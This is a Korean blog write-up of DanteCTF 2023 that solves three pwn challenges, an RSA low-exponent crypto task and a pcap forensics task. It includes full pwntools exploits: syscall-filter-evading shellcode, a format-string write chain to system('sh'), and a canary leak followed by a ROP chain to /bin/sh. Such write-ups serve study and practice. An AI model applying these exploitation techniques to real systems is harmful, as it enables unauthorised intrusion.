CIDY
[DanteCTF 2023] Write up 본문
이번 주말에 간단하게 했던 CTF다. 시험공부하다가 머리식히는 용으로 해서 막 본격적으로는 못했다.
pwn말고도 크립토 포렌식 (엄청쉬운거였지만) 하나씩 더 풀었다. 커널문제 하나 빼고 포넙 셋다 솔브했는데 두번째문제가 리모트에서 타임아웃 + 로되리안 이슈로 말을 안 들어서 (게다가 준 도커파일도 안 돌아감..) 시험공부가 우선이라고 생각해서 접었다.
Soulcode
간단한 쉘코딩 문제였다. seccomp이랑 자체 syscall명령어 필터링이 걸려있었는데 우회는 간단했다.
이유는 모르겠는데 메인함수만 디컴파일이 안 돼서 그냥 어셈으로 봤다. 대충 쉘코드 받고 실행시켜주는 내용이다. 그런데 filter랑 install_syscall_filter가 눈에 띈다.
filter함수는 이렇게 생겼다. 블랙리스트는 \xcd \x80 \x0f \x05으로, 각각 32비트와 64비트 syscall이다. 입력한 쉘코드를 문자열로 봤을 때 위 네 바이트 중 하나라도 있으면 터뜨린다.
install_syscall_filter는 seccomp인거같아서 툴로 봤다.
대충 orw를 하라는 뜻이다.
우회는 간단하다. seccomp이야 orw로 쓰면 되는 일이고, syscall못쓰는건 strpbrk함수를 이용해서 하니까 중간에 널바이트좀 끼워주면 된다.
즉, 점프 명령어 + 널바이트 몇개 + orw쉘코드 이렇게 삽입해주면 된다는 뜻.
from pwn import *
context.arch = "amd64"
p = remote("challs.dantectf.it", 31532)
#p = process("./soulcode")
jmpsc = asm("""
add rdx, 0x50
jmp rdx
""")
realsc = asm(shellcraft.open("/flag.txt"))
realsc += asm(shellcraft.read('rax', 'rsp', 0x50))
realsc += asm(shellcraft.write(1, 'rsp', 0x50))
print(realsc)
sc = jmpsc + b"\x00" * (0x50 - len(jmpsc)) + realsc
pause()
p.sendline(sc)
p.interactive()
Sentence to Hell
음 결국 플래그는 못 땄는데 로컬에서 풀었으니 그냥 풀었다고 정신승리하기로 했다.
코드는 간단하다. fsb기회를 주고 딱 한번 원하는 주소에 대해 overwrite기회를 준다.
난 이 문제가 왜 솔브가 많은지 모르겠다. 내가 모르는 쉬운 인텐이 있나? 싶었는데 아무리 생각해도 없다. --> 나중에보니까 원가젯 인텐이 맞았다. 근데 립씨가 2.35여서 안됐던거였다... 도커만 돌아갔어도...
1. 원가젯 이용
우선 립씨 버전이 높아서(22.04이다) 원가젯 컨디션이 매우 까다롭다. -l1옵션으로 립씨바꿔가며 50개 이상의 원가젯을 ret주소에 박아 시도해 보았는데 먹히는게 하나도 없었다.
2. libc got overwrite
바이너리의 got는 full relro라서 overwrite가 불가하다. 대신 libc의 경우 partial relro이기 때문에 ABS@got.plt라는 곳을 덮을 수 있고, 해당 got영역은 puts호출 시 참조된다. 그래서 난 처음에 이 영역을 원가젯으로 덮는게 인텐인줄알았다. 당연히 여기서도 먹히는 원가젯 하나도 없어서 실패. 그리고 printf에서도 어떻게 잘 하면 puts와 유사하게 ABS@got.plt호출이 되는데 여기서는 안 됐다.
3. return to main
main을 여러번 돌면서 원하는 곳을 덮을 수 있지 않냐? 하는데, 우선 ret주소를 그냥 main의 시작 주소로 덮으면 call main이 아니라 ret주소가 박히는 과정이 없으므로 스택이 8늘어나게 된다. 즉 align이 안 맞아서 그 상태로 printf등의 함수를 수행하면 프로그램이 터진다. 하지만 그대신 main + 5코드로 뛰어서 sfp세팅 과정(push rbp)을 없애 align을 맞출수는 있다. 그런데 이는 ret과 sfp가 없는 것이므로 main + 5를 호출할 때 마다 스택은 0x10씩 늘어난다. 즉 align은 맞지만 main을 돌기 위해서는 매번 바뀌는 ret부분을 main + 5로 바꾸어 주어야 하고, 그럼 main을 계속해서 돌 수는 있지만 정작 내가 원하는 부분을 덮지는 못한다.
4. fsb활용
3번에서 설명했듯이 main자체는 무한반복(스택 용량 안에서)이 가능하고, 따라서 fsb기회도 여러번 있다. 하지만 그 크기가 매우 작다. fgets로 12바이트 입력받으니까 사실상 11바이트의 입력이 가능한건데, 이걸로는 값을 유의미하게 조작하기가 너무 힘들다.
하지만 이걸 딱 한번 우회할 수 있다.
바로 스택에 _start함수의 시작 주소가 있기 때문이다.
이건 내가 여러 번 main을 반복해서 스택을 많이 내려놓은 모습이다. 내가 표시한 부분이 _start의 주소인데, 마침 딱 바로 ret주소로 활용할 수 있는 위치(오른쪽)에 있다. 따라서 main을 여러번 반복하면서 스택을 내리다가 딱 위 상태가 되었을 때에는 ret주소를 main + 5로 덮지 않고 스택에 원하는 값을 남길 수 있게 된다.
이 기회를 매우 잘 활용해야 하는데, 나는 이때 스택에 system함수의 주소를 남겼다. 그럼 /bin/sh문자열은 어떻게 할 것인가? 에 대한 문제가 남았다.
우선 위 사진에서 주황색 글씨로 조작함 이라고 되어있는 부분은 위 상황 이전에 fsb를 통해 하위 1바이트만 sh가 적힐 문자열의 주소로 미리 조작해주었다. ("%{low}c%8$n", low는 릭한 스택 주소로 계산하면 된다.)
그리고 위 상황에서 fsb를 통해 sh문자열을 직접 만들건데, "%{0x6378}c%8$n" 하면 딱 11자리로 아슬하게 fsb를 성공시킬 수 있다.
그리고 system의 주소는 조작된 주소 + 0x10에 박아두고, 스택을 쭉 내린 다음 pop rdi, pop X, ret으로 system을 수행하면 된다. (pop을 하나 더 끼워준데에는 이런저런 이유가 있는데, 어차피 system함수 내부에서 align으로 터지지 않으려면 system을 저기서 수행하는게 맞다.)
from pwn import *
#p = remote("challs.dantectf.it", 31531)
p = process("./sentence")
#e = ELF("./sentence")
#libc = e.libc
p.sendlineafter("Please, tell me your name: ", "%13$p%15$p")
p.recvuntil(b"Hi, ")
main = int(p.recvn(14), 16) #- 0x1229
rsp = int(p.recvn(14), 16) - 0x138
p.sendlineafter("give me a soul you want to send to hell: ", str(main + 5).encode())
p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + 0x28).encode())
p.sendlineafter("Please, tell me your name: ", "%19$p")
p.recvuntil(b"Hi, ")
libc_base = int(p.recvn(14), 16) - 0x26f040 #0x29d90
system = libc_base + 0x50d60
sh = 0x6873
mov_eax_0x3b_syscall = libc_base + 0xeb0f4
pop_rdi_pop_rbp = libc_base + 0x2a745
p.sendlineafter("give me a soul you want to send to hell: ", str(main + 5).encode())
p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + 0x38).encode())
offset = 0x48
for i in range(11):
p.sendlineafter("Please, tell me your name: ", "cidy")
p.sendlineafter("give me a soul you want to send to hell: ", str(main + 5).encode())
p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + offset).encode())
offset = offset + 0x10
p.sendlineafter("Please, tell me your name: ", "cidy")
p.sendlineafter("give me a soul you want to send to hell: ", str(system).encode())
p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + offset + 0x8).encode())
offset = -0x8
low = (rsp + 0x108) & 0xff
p.sendlineafter("Please, tell me your name: ", f"%{low}c%8$hhn".encode())
p.sendlineafter("give me a soul you want to send to hell: ", str(main + 5).encode())
p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + offset).encode())
offset = offset + 0x10
for i in range(4):
p.sendlineafter("Please, tell me your name: ", "cidy")
p.sendlineafter("give me a soul you want to send to hell: ", str(main + 5).encode())
p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + offset).encode())
offset = offset + 0x10
pause()
p.sendlineafter("Please, tell me your name: ", f"%{sh}c%8$n".encode())
p.sendlineafter("give me a soul you want to send to hell: ", str(main + 5).encode())
p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + offset).encode())
offset = offset + 0x10
for i in range(9):
print(i)
p.sendlineafter("Please, tell me your name: ", "cidy")
p.sendlineafter("give me a soul you want to send to hell: ", str(main + 5).encode())
p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + offset).encode())
offset = offset + 0x10
p.sendlineafter("Please, tell me your name: ", f"cidy")
p.sendlineafter("give me a soul you want to send to hell: ", str(pop_rdi_pop_rbp).encode())
p.sendlineafter("and in which circle you want to put him/her: ", str(rsp + offset).encode())
p.interactive()
그래서 쉘은 땄는데 리모트에서 안된다. 처음에는 타임아웃나서 sendlineafter를 sendline으로 몇 개 바꿔서 시간안에 세이프했는데도 안 된다.. 이것저것 테스트 해봤을 때 abs got(이전에 떠올렸던 아이디어)나 system등 중요한 offset들은 맞는데 가젯 offset이 안 맞는 것 같기도 하다. 만약 스택에 있는 이런저런 값들의 컨디션이 안 맞는다면 fsb에서 터지거나, 안 맞아도 적어도 system은 수행되면서 그런 명령어가 없다는 오류가 떠야 하는데, 그런게 안 떠서 뭐가 문제인지 모르겠다. libc databse에서 2.34립씨 몇개를 가져다가 가젯 오프셋 바꿔봤는데 안 바뀌어서 그냥 포기했다. 아무튼 풀긴함~
Dante`s Notebook
난 이게 왜 솔브가 Sentence to hell보다 더 없는지 이해가 안된다.
main함수이다. action에 함수 포인터 저장해놓고 이것저것 수행한다. malloc이랑 free있길래 힙인가 싶어 설렜는데 결국 힙은 아니었다.
add, remove, edit, view.. 전형적인 힙 문제의 구조였는데 암튼 힙이 아니다.
일단 첫번째 취약점. src는 rbp - 0x30인데 add할때 0x60만큼 입력받아서 rop가 가능하다.
두번째는 view할때 fsb터진다.
종합하면, fsb로 립씨주소, 카나리 릭하고 add에서 rop하면된다. 이때 11바이트 적고 널을 깔아야함을 유의하자.
from pwn import *
def add(idx, name, circle, date):
p.sendafter("> ", str(1).encode())
p.sendafter("Notebook position [1-5]: ", str(idx).encode())
p.sendafter("Soul name: ", name)
p.sendafter("Circle where I found him/her [1-9]: ", str(circle).encode())
p.sendafter("When I met him/her [dd/Mon/YYYY]: ", date) #read_string overflow
def rem(idx):
p.sendafter("> ", str(2).encode())
p.sendafter("Notebook position [1-5]: ", str(idx).encode())
def edit(idx, name, circle, date):
p.sendafter("> ", str(3).encode())
p.sendafter("Notebook position [1-5]: ", str(idx).encode())
p.sendafter("Soul name: ", name)
p.sendafter("Circle where I found him/her [1-9]: ", str(circle).encode())
p.sendafter("When I met him/her [dd/Mon/YYYY]: ", date) #strncpy overflow?
def view(idx):
p.sendafter("> ", str(4).encode())
p.sendafter("Notebook position [1-5]: ", str(idx).encode())
p = remote("challs.dantectf.it", 31530)
#p = process("./notebook")
e = ELF("./notebook")
libc = e.libc
add(1, "cidy", 1, "%9$p%15$pAA")
view(1)
p.recvuntil(b"0x")
canary = int(p.recvuntil(b"0x")[:-2], 16)
print(hex(canary))
libc_base = int(p.recvuntil(b"A")[:-1], 16) - 0x29d90
print(hex(libc_base))
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.sym['system']
pop_rdi = libc_base + 0x2a3e5
ret = pop_rdi + 1
pay = b""
pay += b"A" * 11 + b"\x00"
pay += b"A" * (0x28 - 12) + p64(canary) + b"A" * 0x8
pay += p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
add(2, "cidy", 1, pay)
p.interactive()
Small Inscription
간단한 rsa낮은 지수 공격이었다. 암호는 손 안대는데 솔브가 많아서 봤는데 완전 쉬운 문제였다.
#!/usr/bin/env python3
from Crypto.Util.number import bytes_to_long, getPrime
from secret import FLAG
assert len(FLAG) < 30
if __name__ == '__main__':
msg = bytes_to_long(
b'There is something reeeally important you should know, the flag is '+FLAG)
N = getPrime(1024)*getPrime(1024)
e = 3
ct = pow(msg, e, N)
print(f'{ct=}')
print(f'{N=}')
그냥 세제곱근 구해보고 안되면 N몇번 더하면 될듯하다.
C=747861028284745583986165203504322648396510749839398405070811323707600711491863944680330526354962376022146478962637944671170833980881833864618493670661754856280282476606632288562133960228178540799118953209069757642578754327847269832940273765635707176669208611276095564465950147643941533690293945372328223742576232667549253123094054598941291288949397775419176103429124455420699502573739842580940268711628697334920678442711510187864949808113210697096786732976916002133678253353848775265650016864896187184151924272716863071499925744529203583206734774883138969347565787210674308042083803787880001925683349235960512445949
N=20948184905072216948549865445605798631663501453911333956435737119029531982149517142273321144075961800694876109056203145122426451759388059831044529163118093342195028080582365702020138256379699270302368673086923715628087508705525518656689253472590622223905341942685751355443776992006890500774938631896675247850244098414397183590972496171655304801215957299268404242039713841456437577844606152809639584428764129318729971500384064454823140992681760685982999247885351122505154646928804561614506313946302901152432476414517575301827992421830229939161942896560958118364164451179787855749084154517490249401036072261469298158281
from Crypto.Util.number import *
from gmpy2 import *
for i in range(10000):
m = iroot(C, 3)[0]
if(b"There" in long_to_bytes(m)):
print(long_to_bytes(m))
break
else:
C = C + N
생각보다 N을 많이 더해야 했다.
Who Can Haz Flag
pcapng파일이 하나 주어진다. 네트워크 포렌식 문제였다.
wireshark로 열었는데 네트워크 포렌식 문제치고 패킷이 800개밖에 없어서 놀랐다. 800개정도면 그냥 하나하나 다 열어봐도 될 정도다. (이때까지 본 pcap파일들은 모두 기본적으로 패킷이 몇만개였는데..)
크기가 너무 작아서 그런지 파일 추출을 해봐도 딱히 나오는 게 없어서 패킷을 직접 열어보기 시작했다.
누가봐도 수상해보이는 Who has... 라는 이름의 패킷들이 여러 개 있었다. 그 패킷들에서 flg 뒤에 한 글자씩 나오는거(위 사진의 경우 N)를 모으면 플래그를 구할 수 있었다.
flag: DANTE{wh0_h4s_fl4g_ju5t_45k}
후기: 문제들을 보면 수준이 썩 괜찮은 ctf같아 보이진 않는데 내가 아직 공부를 덜한 커널 문제와 로되리안 극복 이슈로 실질적인 솔브는 적었다. 앞으로 공부 더 많이 해야겠다.
'Hack > CTF' 카테고리의 다른 글
[QWB CTF 2018] core (0) | 2023.07.26 |
---|---|
[zer0pts CTF 2023] Himitsu Note (0) | 2023.07.22 |
[DEFCON CTF 2023 Qualifier] Open House(작성중) (0) | 2023.06.02 |
[TAMU CTF 2023] Write up (2) | 2023.05.08 |
[Midnight Sun CTF 2023] MemeControl (0) | 2023.04.09 |